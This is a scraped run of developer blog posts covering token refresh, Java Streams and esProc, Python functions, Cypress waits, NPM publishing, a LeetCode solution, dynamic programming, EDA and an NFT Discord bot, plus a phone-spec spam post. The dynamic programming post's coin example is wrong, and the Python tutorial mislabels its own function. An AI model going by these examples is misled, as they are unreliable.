/api/refresh-token HTTP/1.1 Content-Type: application/json { "refresh_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." } ``` **5. New access token is returned**: If the refresh token is valid, the server generates a new access token and sends it back to the client. ```json { "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", } ``` **6. Refresh token is updated**: The server can also generate a new refresh token and send it back to the client along with the new access token, or it can keep using the same refresh token. If a new refresh token is generated, the client should store it securely and use it in the next refresh request. ```json { "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "refresh_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." } ``` This process continues until the user logs out or the refresh token expires. Refresh tokens typically have a much longer lifespan than access tokens, so they can be used to obtain new access tokens for an extended period of time without requiring the user to re-authenticate.
yogini16
1,373,964
What should I do when it is difficult to implement code with Java Stream?
Stream was first introduced with Java 8. The class library offers richer and smoother Lambda syntax,...
0
2023-02-21T13:15:41
https://dev.to/sps_4u/what-should-i-do-when-it-is-difficult-to-implement-code-with-java-stream-2ih0
Stream was first introduced with Java 8. The class library offers richer and smoother Lambda syntax, facilitating the process of achieving set-oriented operations. But Stream’s professionalism is far from enough, and there are still many shortcomings in structured computing. When members of a set are of simple data types (integer, floating-point, string or date), Stream is convenient to use for implementing set-oriented operations. Below is an example of integer array filtering: ``` IntStream iStream=IntStream.of(1,3,5,2,3,6); IntStream r1=iStream.filter(m->m>2); Stream r2=iStream.boxed().sorted(); int r3=iStream.sum(); ``` However, the data object of structured computing is not a simple data type but a record (Map\ entity\ record). Once the data object becomes a record, Stream is not so convenient. For example, group by year and Client: ``` Calendar cal=Calendar.getInstance() Map<Object, DoubleSummaryStatistics> c=Orders.collect(Collectors.groupingBy( r->{ cal.setTime(r.OrderDate); return cal.get(Calendar.YEAR)+"_"+r.SellerId; }, Collectors.summarizingDouble(r->{ return r.Amount; }) ) ); for(Object sellerid:c.keySet()){ DoubleSummaryStatistics r =c.get(sellerid); String year_sellerid[]=((String)sellerid).split("_"); System.out.println("group is (year):"+year_sellerid[0]+"\t (sellerid):"+year_sellerid[1]+"\t sum is:"+r.getSum()); } ; ``` Stream does not provide a direct support for join operations. To perform the inner join on Orders table and Employee table, and group the result by Employee.Dept and sum Orders.Amount, for instance: ``` Map<Integer, Employee> EIds = Employees.collect(Collectors.toMap(Employee::EId, Function.identity())); //Create new OrderRelationclass, where SellerIdcontains single valuesthat point to corresponding Employeeobjects record OrderRelation(int OrderID, String Client, Employee SellerId, double Amount, Date OrderDate){} Stream<OrderRelation> ORS=Orders.map(r -> { Employee e=EIds.get(r.SellerId); OrderRelation or=new OrderRelation(r.OrderID,r.Client,e,r.Amount,r.OrderDate); return or; }).filter(e->e.SellerId!=null); Map<String, DoubleSummaryStatistics> c=ORS.collect(Collectors.groupingBy(r->r.SellerId.Dept,Collectors.summarizingDouble(r->r.Amount))); for(String dept:c.keySet()){ DoubleSummaryStatistics r =c.get(dept); System.out.println("group(dept):"+dept+" sum(Amount):"+r.getSum()); } ``` The hardcoded inner join is long and complex. Left joins and outer joins need hardcoding too but with different logic and more complexity, which is a challenge even to Java programmers. Before Stream, it is knotty for Java to achieve set-oriented operations. Its introduction to Java adds special structured data computation support, including basic set-oriented operations and Lambda-syntax-friendly design, to the high-level language. Yet, Stream still needs to use Java-based data types to do operations due to the lack of professional structured data objects. The improvements are only superficial. In fact, no class libraries that implement computations within Java are truly professional due to the lack of solid low-level support. The fundamental reason is that Java lacks professional structured data objects. A structured computation returns a result set whose structure varies according to computing processes and generates intermediate results of dynamic structures. It is almost impossible to pre-define the structures. Yet, Java is a strongly typed language, which requires that structures of data objects be pre-defined (otherwise only difficult to manipulate types of data objects, say map, can be used), resulting in rigid and inflexible coding process and greatly restricting the ability of Lambda syntax. If it is an interpreted language, it can simplify the definition of a parameter by specifying within a function that a parameter expression will be parsed as a value or a function. Java is a compiled language that cannot distinguish different types of parameters. It can only implement an anonymous function (using Lambda syntax) by designing a complicated and difficult-to-understand interface. This is difficult even for SQL programmers. Though the structured data computations can be considerably simplified by skipping the data object to directly reference fields (like the form of “UnitPriceQuantity”), _Java cannot support the cleverly simple syntax due to the lack of professional structured data objects. It thus produces lengthy and non-intuitive code (like “_x.UnitPricex.Quantity”). Stream is far from professional computing structured data because of the lack of special structured data objects, while SQL is professional enough but relies heavily on databases. Both have their advantages and disadvantages. Sometimes we need both SQL professional structured computing grammar and out-of-database computing capabilities like Stream. What should we do in this situation? **Solution: esProc – the professional computational package for Java** ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gfm1aqzy91o5l5ydttu6.png) esProc is a class library dedicated to Java-based calculations and aims to simplify Java code. SPL is a scripting language based on the esProc computing package. It can be deployed together with Java programs and understood as a stored procedure outside the database. Its usage is the same as calling a stored procedure in a Java program. It is passed to the Java program for execution through the JDBC interface, realizing step-by-step structured computing, return the ResultSet object. Data set filtering, sorting, grouping and summarizing, joining, etc., are very simple to read with SPL. For example: find classes with an average English score of less than 70. ``` =T("E:/txt/Students_scores.txt") =A1.groups(CLASS;avg(English):avg_En) =A2.select(avg_En<70) ``` This block of code can be debugged or executed in esProc IDE, or stored as a script file (like _condition.dfx_) for invocation from a Java program through the JDBC interface. Below is the code for invocation: ``` package Test import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.Statement; public class test1 { public static void main(String[] args)throws Exception { Class.forName("com.esproc.jdbc.InternalDriver"); Connection connection =DriverManager.getConnection("jdbc:esproc:local://"); Statement statement = connection.createStatement(); ResultSet result = statement.executeQuery("call condition.dfx"); printResult(result); if(connection != null) connection.close(); } … }; ``` This is similar to calling a stored procedure. SPL also supports the SQL-like way of embedding the code directly into a Java program without the need of storing it as a script file. Below is the code for embedding: ``` ResultSet result = statement.executeQuery(" =file(\"D:\\sOrder.csv\").groups(CLASS;avg(English):avg_En).select(avg_En<70)"); … ``` For details on integration with Java programs, please refer to How to Call an SPL Script in Java Use SQL to implement associated calculations: For example, the sales order and product are stored in two text files respectively and calculate the sales amount of each order. The data structure of the two files is as follows: ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d9o5bu3hyonqr217ky5l.png) ``` =T("e:/orders/sales.csv") =T("e:/orders/product.csv").keys(ID) =A1.join(ProductID,A2,Name,Price) =A3.derive(Quantity*Price:amount) ``` SPL provides a complete method of querying data with SQL: For example, State, Department, and Employee are stored in 3 text files respectively, query employees in New York state whose manager is in California. ``` $select e.NAME as ENAMEfrom E:/txt/EMPLOYEE.txt as e join E:/txt/DEPARTMENT.txt as d on e.DEPT=d.NAME join E:/txt/EMPLOYEE.txt as emp on d.MANAGER=emp.EID where e.STATE='New York' and emp.STATE='California' ``` Using SPL can greatly simplify the calculation of structured data in Java programs. Examples are summarized as follows: [Loop operations](http://c.raqsoft.com/article/1619769733786) [Accessing members of data set by sequence numbers](http://c.raqsoft.com/article/1606720947410) [Locate operations on ordered sets](http://c.raqsoft.com/article/1607498662414) [Alignment operations between ordered sets](http://c.raqsoft.com/article/1619680272689) [TopN operations](http://c.raqsoft.com/article/1606720196493) [Existence checking](http://c.raqsoft.com/article/1607669571752) [Membership test](http://c.raqsoft.com/article/1619170579176) [Unconventional aggregation](http://c.raqsoft.com/article/1606721431415) [Alignment grouping](http://c.raqsoft.com/article/1606718801592) [Select operation](http://c.raqsoft.com/article/1606720542876) More calculation examples: [Use SPL in applications](http://c.raqsoft.com/article/1625816078621)
sps_4u
1,374,156
Python Function Tutorial
Python function is a block of reusable code that performs a specific task. Functions can be called...
0
2023-02-21T15:42:06
https://dev.to/max24816/python-function-tutorial-5fh0
Python function is a block of reusable code that performs a specific task. Functions can be called multiple times from within a program, which allows for efficient code reuse and organization. In Python, functions are defined using the "def" keyword, followed by the function name, a set of parentheses, and a colon. The body of the function is indented below the function definition. Functions can take parameters, which are passed to the function when it is called. Functions can also return values, which can be used by the calling code. Python functions can have default parameter values, making them more flexible and easier to use. Functions are an essential part of Python programming and are used extensively in all types of applications. They allow developers to organize their code and improve its readability, maintainability, and reusability. ## [**Python Function Example**](https://www.programdoc.com/python/functions) ```py def greet(name): # This function greets the person passed in as a parameter print("Hello, " + name + ". How are you today?") greet("Max") ``` Output: `Hello, Max. How are you today?` In the above example, we have defined a function named `greet` which takes one parameter `name`. The function prints a greeting message to the console, using the `print()` statement. To call the function, we simply pass the name of the person we want to greet as an argument to the `greet()` function. ## Python Function with Return Type Example ```py def add_numbers(x, y): # This function takes two numbers as input and returns their sum return x + y result = add_numbers(5, 10) print("The sum of 5 and 10 is:", result) ``` Output: `The sum of 5 and 10 is: 15` In this example, we have defined a function named `add_numbers` which takes two parameters `x` and `y`. The function returns the sum of `x` and `y` using the `return` statement. We call the `add_numbers()` function and store its result in a variable named `result`. We then print the result to the console using the `print()` statement. ## Python Function with Default Arguments Example ```py def print_message(name, message="Hello"): # This function prints a message to the console print(message + ", " + name + "!") print_message("Max") print_message("Bob", "Good morning") ``` Output: ```py Hello, Max! Good morning, Bob! ``` In this example, we have defined a function named `print_message` which takes two parameters: `name` and `message`. The `message` parameter has a default value of `"Hello"`. If we call the function with only one argument (`name`), it will use the default value for `message`. If we call the function with two arguments (`name` and `message`), it will use the value we passed in for `message`. ## Assigning a Function to a Variable Example ```py def print_hello(): print("Hello, world!") greeting = print_hello greeting() ``` Output: `Hello, world!` In this example, we have defined a function named `say_hello` which prints a greeting message to the console. We then assign the `say_hello()` function to a variable named `greeting`. We can call the `greeting()` function to execute the `say_hello()` function and print the greeting message to the console. ## Explore Other Related Articles [Python break and continue tutorial](https://dev.to/max24816/python-break-and-continue-tutorial-57kj) [Python While Loop tutorial](https://dev.to/max24816/python-while-loop-tutorial-463f) [Python For Loops, Range, Enumerate Tutorial](https://dev.to/max24816/python-for-loops-range-enumerate-tutorial-20a2) [Python if-else Statements Tutorial](https://dev.to/max24816/python-if-else-statements-tutorial-3p25) [Python set tutorial](https://dev.to/max24816/python-set-tutorial-hcp)
max24816
1,375,069
Conditional Waiting in Cypress
By using a recursive function, you can repeatedly wait for the request until you get the desired...
0
2023-02-22T09:11:31
https://ajdin-mustafic.medium.com/conditional-waiting-in-cypress-c218e8144235
![](https://cdn-images-1.medium.com/max/1024/1*2YPshgVie4Ot2FRMwt1ygw.png) _By using a recursive function, you can repeatedly wait for the request until you get the desired response_ #### Test Case Our test case involves an existing user (permanent user) who invites a new user via email. The new user receives a registration link and registers for the [Determ](http://determ.com) application. After the new user has been registered and has access to the app, we need to delete them to “clean up” after the test. However, we don’t want to delete the existing user, so we need to check the user ID before deleting the user. #### Solution To delete the newly created user, we need to intercept and wait for a specific API request that contains the user’s access token. However, the same request is also sent for the existing user, and we don’t want to delete them. The only difference between the users is their user ID, which we can only get from the response of the API request. To solve this problem, we can use a recursive function that waits for the API request and checks the user ID. If the user ID is the same as the ID of the existing user, the function calls itself again. If the user ID is not the same, we save the access token and use it to delete the user later. Here’s the code for the recursive function: {% gist https://gist.github.com/ajdinmust/8f66c6f25dc87802ca879cedce3c1d7c %} Then inside your test just call the function: {% gist https://gist.github.com/ajdinmust/9822419ba4456593ad909984a725a75e %} ![](https://cdn-images-1.medium.com/max/688/1*1-t3e18tmAVlIiCWfXJunA.png) _Conditional cy.wait()_ #### Conclusion By checking the user ID in the response, we can make sure we only delete the correct user. The recursive function approach can be useful when you need to wait for a specific API request and process its response conditionally. And by using a recursive function, you can repeatedly wait for the request until you get the desired response. If you have a similar problem or need help implementing this solution, feel free to leave a comment.
ajdinmust
1,374,197
Samsung Galaxy A14 5G specification, review, release date, price in Bangladesh
Samsung Galaxy A14 5G specification, review, release date, price in Bangladesh There’s a...
0
2023-02-21T16:31:10
https://dev.to/mobilepricedokan/samsung-galaxy-a14-5g-specification-review-release-date-price-in-bangladesh-558g
## Samsung Galaxy A14 5G specification, review, release date, price in Bangladesh There’s a 50-megapixel primary camera with an f/1.8 lens, phase detection autofocus (PDAF), and a 5,000mAh battery that should last a long time. It is delicate and makes sense. You’ve got a pretty sweet deal at a starting price of only $200 and INR 15,000.https://mobilepricedokan.com/xiaomi-poco-x5-pro-full-specification/
mobilepricedokan
1,374,323
How To Make Your Own NPM Package
Before we start coding, there are things need to set up first: A GitHub account. An NPM...
0
2023-02-21T18:10:24
https://dev.to/mohammedtaysser/how-to-make-your-own-npm-package-4dm2
npm, javascript, tutorial, productivity
Before we start coding, there are things need to set up first: - [A GitHub account](https://github.com/). - [An NPM account](https://www.npmjs.com/). - [Node.js and NPM](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm). Once sure every thing is good, we can get started building and publishing our NPM package. ## Pick up a Name For Our Package The hardest steps for us. As there are so many packages exist with the name we want one we think we have the best name possible, it could already be taken. In order not to get too attached to a name, we can check if it is available on the NPM website or not, also trying <https://remarkablemark.org/npm-package-name-checker/> and will tell us if it's available. > It is important that the package name is unique, especially if we plan to make it public. ## Create a GitHub Repository Next, create a repository for the package on GitHub. For this example, the name would be `count`. > It is important to choose an appropriate license for GitHub repository. Especially if you are going to make it public for other developers. Read more about [GitHub docs on licensing a repository](https://docs.github.com/en/github/creating-cloning-and-archiving-repositories/licensing-a-repository). ## Login To NPM Account To log in into NPM, use the command `npm login`. Then put the credentials you used to create the NPM account. ## Initialize the Project - package name - version - description - git repository - keywords - license Here an example ```json { "name": "count", "version": "1.0.0", "description": "An npm package for counting string char length", "main": "index.js", "keywords": [ "js", "package", "count" ], "author": "Mohammed Taysser <mohamedtayser@gmail.com>", "repository": { "type": "git", "url": "git+https://github.com/Mohammed-Taysser/js-girlfriend.git" }, "license": "MIT" } ``` ## Insure Updating the Version Correctly By default, the initial package should be `1.0.0` The more our package downloaded the more bugs are updated will be needed, so update package is important. Let know how to update package version. NPM uses a versioning system called Semantic Versioning (SemVer) and by default starting version is 1.0.0. For future updates, there are three types of version changes you can make, following Semantic Versioning standards. The three types of version changes are Major, Minor and Patch: ![NPM version](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d8vkv40pzr1xzhp2ogz1.jpeg) - **Major** version is when you make big changes to your package. An example is incompatible API changes. - **Minor** version is when you add functionality in a backwards compatible manner. - **Patch** version is when you make backwards compatible bug fixes. Additional labels for pre-release and build metadata are available as extensions to the MAJOR.MINOR.PATCH format. ## Creating the Module The next steps are implementing our package core. In this example, I am implementing the `count` package. In `index.js` or whichever file you want to set as your entry point, you would add the code that applies to your package. The following code I placed in `app.js`: ```js function count(str = '') { return str.length; } module.exports = count; ``` I used a simple function called `count`. It accepts only single parameter `str` is the string we want to know its length. > The most important part of the code above is exporting the created function using `module.exports`. ## Initializing Git Next, we have to initialize git for your package using the command: ```shell git init ``` Then stage the files that you changed using the command: ```shell git add index.js ``` Next, commit the changes to the code to your local repository: ```shell git commit -m 'create `index.js`' ``` ## Keeping files out of your Package Use a `.npmignore` file to keep stuff out of your package. If there's no `.npmignore` file, but there is a `.gitignore` file, then NPM will ignore the stuff matched by the `.gitignore` file. If you want to include something that is excluded by your `.gitignore` file, you can create an empty `.npmignore` file to override it. Like git, NPM looks for `.npmignore` and `.gitignore` files in all subdirectories of your package, not only the root directory. `.npmignore` files follow the same pattern rules as `.gitignore` files: - Blank lines or lines starting with `#` are ignored. - Standard glob patterns work. - You can end patterns with a forward slash `/` to specify a directory. - You can negate a pattern by starting it with an exclamation point `!`. ```.npmignore * !lib/**/* !bin/**/* !README.md .*.swp ._* .DS_Store .git .hg .npmrc .lock-wscript .svn .wafpickle-* config.gypi CVS npm-debug.log ``` ## Write a `README` for the Package This may seem like an arbitrary or unnecessary step, but it is actually really important. How many times have you installed a NPM package and then had to research online or look at examples of code to figure out how it works? Writing a documented README for our package can be a large contributor to its success and wide usage. For getting a better idea of what README looks like, you should check out popular NPM packages and their GitHub repositories. In general, your README should include: - A description of your package and what it does. - How other users can install the package to use it in their project. - How to use the package in a project. Give examples of code explaining the usage. This is important! - How others can contribute to your package. If you expect other developers to contribute to this project, definitely include this in your README. - The license used by the package. ## Publish to NPM This will be the simplest step. All you have to do is run the follow code in your command line: ```shell npm publish ``` ## Updating an existing package On the command line, in the package root directory, run the following commands: > **note**: The README file will only be updated on the package page when you publish a new version of your package. To update your README file: ```shell npm version patch npm publish ``` then if every thing good, the package URL will <https://npmjs.com/package/count> ## Make an CLI package This is a small tutorial for creating your own CLI with node! ### Getting Setup Make sure that you have `node` and `npm` installed. - Create an empty directory. - Navigate to it in your terminal. - Run `npm init` which will ask you a couple of questions about the module that you are building such as name, versions, repository and author. You can use the default values for all of these by add `-y` flag the code will `npm init -y`, or enter some real data if you want. ### Modifying `package.json` We need to make a couple of changes to `package.json` to get started. #### Prefer Global It's a handy little property that tell NPM this module is intended to be used from the terminal. If a user tries to install the module locally, NPM will warn them that the package is intended for global installation. ```json { // ... "preferGlobal": "true", // ... } ``` #### Directories Property The directories' property is the one that makes this all work. By setting directories `bin`, we are telling NPM which file or directory contains the files to be added to the system PATH. For this demo, we want users to be able to run hello from the terminal, so I need to create a new directory bin and create a file called `hello` in it. Then add the directories' property to `package.json`. Now, when our module is installed, the user will be able to access `./utils/hello` from the terminal. ```json { ... "preferGlobal": "true", "bin": { "hello": "./utils/hello.js" }, ... } ``` ### Our "Main" File Create a directory called `utils` in your module folder, and create `hello.js` inside of it. This file is going to contain all of our functionality. For now, it will display "Hello World!". `./utils/hello.js` ```js #!/usr/bin/env node console.log('Hello World!'); ``` Line one is a [`shebang`](http://en.wikipedia.org/wiki/Shebang_(Unix)). Line two is a require statement that requires our main file, which will be executed. We now have all the pieces in place to test our CLI. #### Installing Our Module Navigate to your project root directory, and execute: ```shell npm install -g ./ ``` > you will find a file with the name of command create at `/usr/local/bin` director on Linux This is telling NPM to install the module location in the current directory as a global module, which is exactly what we want. `-g` is a flag that specifies that the module should be installed globally. Now you can test the module by running ```shell > hello Hello World! ``` If you need to uninstall it, just write the following command at terminal: ```shell sudo npm uninstall -g hello ``` Conclusion Publishing a NPM package is actually simple, for this tutorial I used a simple example with more complex topics, you can make them as complex as you see fit. Don't forget to add test for the package At end now you know how to create your own NPM package and publish it! Good luck, have fun, and please feel free to share the NPM packages you create with me.
mohammedtaysser
1,374,611
What I have learned.
I am excited to learn how to code, never had any pervious experience. I'm going in with an open mind...
0
2023-02-22T00:02:50
https://dev.to/jdnody/what-i-have-learned-2bec
beginners
I am excited to learn how to code, never had any pervious experience. I'm going in with an open mind and ready to seek and overcome strenuous challenges along the way. I'm currently reading about an HTML article. I have learned a lot so far. There are titles, style, links, meta, script, and noscript. That is used in the programming language. It is a lot to take in at the moment. I will do everything I can to get better.
jdnody
1,374,818
1011. Leetcode Solution in JavaScript
================================================================= description: A conveyor...
0
2023-02-22T04:11:45
https://dev.to/chiki1601/1011-leetcode-solution-in-javascript-2mk5
javascript
================================================================= #description: A conveyor belt has packages that must be shipped from one port to another within days days. The ith package on the conveyor belt has a weight of weights[i]. Each day, we load the ship with packages on the conveyor belt (in the order given by weights). We may not load more weight than the maximum weight capacity of the ship. Return the least weight capacity of the ship that will result in all the packages on the conveyor belt being shipped within days days. Example 1: Input: weights = [1,2,3,4,5,6,7,8,9,10], days = 5 Output: 15 Explanation: A ship capacity of 15 is the minimum to ship all the packages in 5 days like this: 1st day: 1, 2, 3, 4, 5 2nd day: 6, 7 3rd day: 8 4th day: 9 5th day: 10 Note that the cargo must be shipped in the order given, so using a ship of capacity 14 and splitting the packages into parts like (2, 3, 4, 5), (1, 6, 7), (8), (9), (10) is not allowed. Example 2: Input: weights = [3,2,2,4,1,4], days = 3 Output: 6 Explanation: A ship capacity of 6 is the minimum to ship all the packages in 3 days like this: 1st day: 3, 2 2nd day: 2, 4 3rd day: 1, 4 Example 3: Input: weights = [1,2,3,1,1], days = 4 Output: 3 Explanation: 1st day: 1 2nd day: 2 3rd day: 3 4th day: 1, 1 Constraints: 1 <= days <= weights.length <= 5 * 104 1 <= weights[i] <= 500 ================================================================= #solution ```javascript /** * @param {number[]} weights * @param {number} days * @return {number} */ var shipWithinDays = function(weights, D) { function getDays(capacity) { let days = 1, total = 0; // See how many days it will take to unload all the weights given the current capacity for(let n of weights) { total += n; // Increase days only when we will exceed the capacity if(total > capacity) { total = n; days++; } } return days; } // Start is the minimum capacity of one day which is the max of all the weights // End is the max capacity we could load on one day which is the sum of all the weights let start = Math.max(...weights), end = weights.reduce((acc, cur) => acc + cur, 0); // The min cacpaity needed is between start and finish while(start < end) { const mid = Math.floor((end+start)/2); // See how many days it would take to unload all the weigths given mid as the current capacity const days = getDays(mid); // If capacity at mid took more than D days to load, then we can add more weigth on the ships each day which means we need to increase the daily capacity if(days > D) start = mid+1; // mid might be our answer so we cannot set end to mid-1 else end = mid; } return end; }; ``` #leetcode #challenge Here is the link for the problem: https://leetcode.com/problems/capacity-to-ship-packages-within-d-days/
chiki1601
1,374,975
Intro to Dynamic Programming
Dynamic Programming (DP) is a popular algorithmic technique used to solve optimization problems by...
0
2023-02-22T07:15:34
https://dev.to/tinshade/intro-to-dynamic-programming-54f4
programming, dp, computerscience, leetcode
Dynamic Programming (DP) is a popular algorithmic technique used to solve optimization problems by breaking them down into smaller subproblems and reusing the solutions to those subproblems. It is a commonly used technique in coding interviews and competitive programming challenges. In this blog post, we will discuss how to identify and solve dynamic programming-related LeetCode questions in programming using Python, with an example and detailed explanation. **Identifying Dynamic Programming Problems** There are several characteristics of a problem that indicate that it can be solved using dynamic programming: The problem can be broken down into smaller subproblems The solutions to subproblems can be combined to solve the larger problem The problem exhibits optimal substructure, meaning that the optimal solution to a problem can be constructed from optimal solutions to its subproblems. Once we have identified a problem that can be solved using dynamic programming, the next step is to determine the optimal substructure and overlapping subproblems. We can then use this information to develop a dynamic programming solution. **Developing a Dynamic Programming Solution** A dynamic programming solution typically involves creating a table or memoization array to store the solutions to subproblems. We then use a bottom-up approach to fill in the table, starting with the base cases and working our way up to the solution of the larger problem. To illustrate this process, we will use an example problem from LeetCode. **Example Problem: Coin Change** The Coin Change problem asks us to find the minimum number of coins required to make up a given amount. We are given a list of coin denominations, and we can use as many coins of each denomination as we need to make up the amount. For example, if we have coin denominations [1, 5, 10] and we need to make up an amount of 12, the minimum number of coins required is 2 (one coin of denomination 10 and one coin of denomination 2). **Step 1**: Identify the optimal substructure To solve this problem using dynamic programming, we need to identify the optimal substructure. Let's start by defining a function minCoins(n) that returns the minimum number of coins required to make up the amount n. If we have a list of coin denominations [c1, c2, ..., ck], we can consider two cases for each coin denomination: We do not use the coin denomination ci. In this case, the minimum number of coins required to make up the amount n is the same as the minimum number of coins required to make up the amount n using only the coin denominations [c1, c2, ..., ci-1]. We use the coin denomination ci. In this case, the minimum number of coins required to make up the amount n is 1 + the minimum number of coins required to make up the amount n-ci using the coin denominations [c1, c2, ..., ci]. The optimal substructure of the problem can be defined using the following recurrence relation: minCoins(n) = min(minCoins(n-ci) + 1) for all ci in coinDenominations **Step 2**: Identify overlapping subproblems The next step is to identify the overlapping subproblems. Since we are recursively computing the minimum number of coins required for each amount, we may end up computing the same subproblem multiple times. To avoid redundant calculations, we can use memoization to store the solutions to subproblems. **Step 3**: Develop a dynamic programming solution To develop a dynamic programming solution, we will create a memoization array memo[n] to store the minimum number of coins required to make up the amount n. We will initialize all values in the array to infinity, except for memo[0], which we will set to 0. We will then use a bottom-up approach to fill in the memoization array. Starting with the base case memo[0], we will iterate through all amounts from 1 to the target amount, filling in the minimum number of coins required for each amount. For each amount n, we will iterate through all coin denominations ci and compute the minimum number of coins required using the recurrence relation: memo[n] = min(memo[n-ci] + 1) for all ci in coinDenominations Once we have filled in the memoization array, the solution to the problem is stored in memo[target]. If memo[target] is still infinity, then it is not possible to make up the target amount using the given coin denominations. Here is the Python code for the dynamic programming solution to the Coin Change problem: ` def coinChange(coins, amount): memo = [float('inf')] * (amount + 1) memo[0] = 0 for n in range(1, amount+1): for c in coins: if c <= n: memo[n] = min(memo[n], memo[n-c] + 1) return memo[amount] if memo[amount] != float('inf') else -1 ` **Best and Worst Case Space and Time Complexities** The time complexity of the dynamic programming solution to the Coin Change problem is O(amount*k), where k is the number of coin denominations. This is because we are iterating through all amounts from 1 to the target amount, and for each amount, we are iterating through all coin denominations. Since the size of the memoization array is proportional to the target amount, the space complexity is also O(amount). In the best case, if the target amount is 0, the time complexity is O(k) because we only need to initialize the memoization array. In the worst case, if it is not possible to make up the target amount using the given coin denominations, the time complexity is O(amount*k) because we will have to iterate through all amounts and coin denominations before determining that the solution is not possible. **Conclusion** Dynamic programming is a powerful technique that can be used to solve optimization problems by breaking them down into smaller subproblems and reusing the solutions to those subproblems. When solving dynamic programming problems, it is important to identify the optimal substructure and overlapping subproblems, and to develop a bottom-up dynamic programming solution using memoization. By following these steps and understanding the best and worst case space and time complexities, we can effectively solve dynamic programming-related LeetCode questions in programming with Python.
tinshade
1,375,081
Getting Started with Explanatory Data Analysis(EDA)
Explanatory Data Analysis (EDA) is the process of analyzing and visualizing data to extract...
0
2023-02-22T09:34:44
https://dev.to/roywanyoike/getting-started-with-explanatory-data-analysiseda-404a
datascience, data, dataengineering, beginners
Explanatory Data Analysis (EDA) is the process of analyzing and visualizing data to extract meaningful insights and conclusions. It is a crucial step in the data science pipeline, as it helps to understand the data, identify patterns, and gain insights that can be used to make informed decisions. In this article, we will explore the steps involved in getting started with EDA. Gather the data The first step in EDA is to gather the data. The data can come from various sources, such as online repositories, databases, or web scraping. It is important to ensure that the data is reliable and accurate. The data should be stored in a format that can be easily analyzed, such as CSV, Excel, or JSON. Explore the data Once the data is collected, the next step is to explore it. Exploring the data involves looking at the basic statistics of the data, such as mean, median, and standard deviation, to get an idea of the central tendency and dispersion of the data. It is also important to plot the data using different visualizations such as histograms, box plots, scatter plots, and heatmaps to understand the distribution, trends, and relationships between different variables. For example, if we are analyzing sales data for a retail store, we can start by looking at the total sales for each day of the week and plotting it on a line graph. This will help us identify the days of the week when the store makes the most sales. Clean the data Data cleaning is an important step in EDA. It involves identifying and handling missing values, outliers, and anomalies in the data. Missing values can be handled by imputing them with a suitable value, such as the mean or median of the data. Outliers can be handled by removing them from the data or by transforming the data using techniques such as normalization or log transformation. Analyze the data Once the data is cleaned, the next step is to analyze it. There are several statistical techniques that can be used to analyze the data, such as hypothesis testing, correlation analysis, and regression analysis. Hypothesis testing is used to test a hypothesis about the data. For example, we can test the hypothesis that the average sales on weekends are higher than the average sales on weekdays. Correlation analysis is used to identify the relationships between different variables. For example, we can analyze the correlation between the sales of different products in the store. Regression analysis is used to model the relationships between different variables. For example, we can model the relationship between the sales of a product and the price of the product. Communicate the results The final step in EDA is to communicate the results. It is important to present the findings in a clear and concise manner using appropriate visualizations and narratives that highlight the key insights and conclusions drawn from the analysis. For example, we can present the findings of our sales data analysis using a dashboard that shows the total sales for each day of the week, the sales of each product, and the correlation between the sales of different products. Some additional tips to consider when performing EDA are: Focus on the questions you want to answer with your analysis and tailor your approach accordingly. It is important to have a clear understanding of the problem you are trying to solve and the insights you want to extract from the data. Document your findings and the steps you took to arrive at them to ensure reproducibility and transparency. It is important to keep a record of the data sources, cleaning steps, analysis techniques, and visualizations used in the analysis. Continuously iterate and refine your analysis as you gain more insights and knowledge about the data. EDA is an iterative process that involves refining and updating the analysis as new insights are gained. In conclusion,Explanatory Data Analysis is a critical step in the data science pipeline that helps to uncover insights and patterns in the data. By following the steps outlined above, data analysts can effectively explore, clean, and analyze their data and communicate their findings in a clear and concise manner. It is also important to note that EDA is not a one-time process. As new data becomes available or as the problem being studied evolves, the analyst may need to revisit and refine their analysis to ensure that the insights and conclusions are still relevant. Additionally, there are several tools and libraries available that can help streamline the EDA process. Python libraries such as Pandas, NumPy, and Matplotlib are commonly used for data cleaning, analysis, and visualization. Data visualization tools such as Tableau and Power BI can also be used to create interactive dashboards and visualizations that make it easy to communicate insights to stakeholders. In conclusion, EDA is an important step in the data science pipeline that helps to uncover insights and patterns in the data. By following the steps outlined in this article and using the appropriate tools and techniques, analysts can effectively explore, clean, and analyze their data and communicate their findings in a clear and concise manner.
roywanyoike
1,375,272
How to make a NFT Sold Notification Discord Bot
Want to get notified whenever a NFT from a collection is sold directly on Discord? This is how you...
0
2023-02-22T12:36:00
https://dev.to/vanxh/how-to-make-a-nft-sold-notification-discord-bot-4l77
web3, nft, discord, crypto
Want to get notified whenever a NFT from a collection is sold directly on Discord? This is how you could do it: **Create an account on Chainbase** We will be using [chainbase](https://chainbase.online/) for the whole process so make sure to create an account on chainbase. **Get Chainbase API Key** Get a chainbase API key from [here](https://console.chainbase.online/web3ApiService). Note it as `CHAINBASE_API_KEY`. **Get a Chainbase ETH network API key** Get ETH network API key from [here](https://console.chainbase.online/chainNetwork). Note it as `CHAINBASE_ETH_MAINNET_KEY`. **Get chainbase data cloud API key** Get the Data Cloud api key by writing any SQL [here](https://console.chainbase.online/dataCloud) and clicking `Generate API`. Note it as `CHAINBASE_DATACLOUD_API_KEY`. **Clone this github repo** ```bash git clone git@github.com:vanxh/nft-sales-bot.git # or using HTTPS git clone ``` **Create a `.env` file and enter the API keys we created above** ```env CHAINBASE_API_KEY="FROM THE STEPS ABOVE" CHAINBASE_DATACLOUD_API_KEY="FROM THE STEPS ABOVE" CHAINBASE_ETH_MAINNET_KEY="FROM THE STEPS ABOVE" DISCORD_WEBHOOK_URL="" ``` **Install modules** ```bash yarn install # or npm npm install ``` **Update contract address in `src/index.ts`** Update this line with contract address of NFT you want to track. ```ts const CONTRACT_ADDRESS = '0x0000000005756b5a03e751bd0280e3a55bc05b6e'; ``` **Build the project** ```bash yarn build ``` **Run the project** ``` yarn start ``` You can find the repository for this post [here](https://github.com/vanxh/nft-sales-bot).
vanxh
1,375,413
Making it through Andela Technical Leadership Program(ATLP).
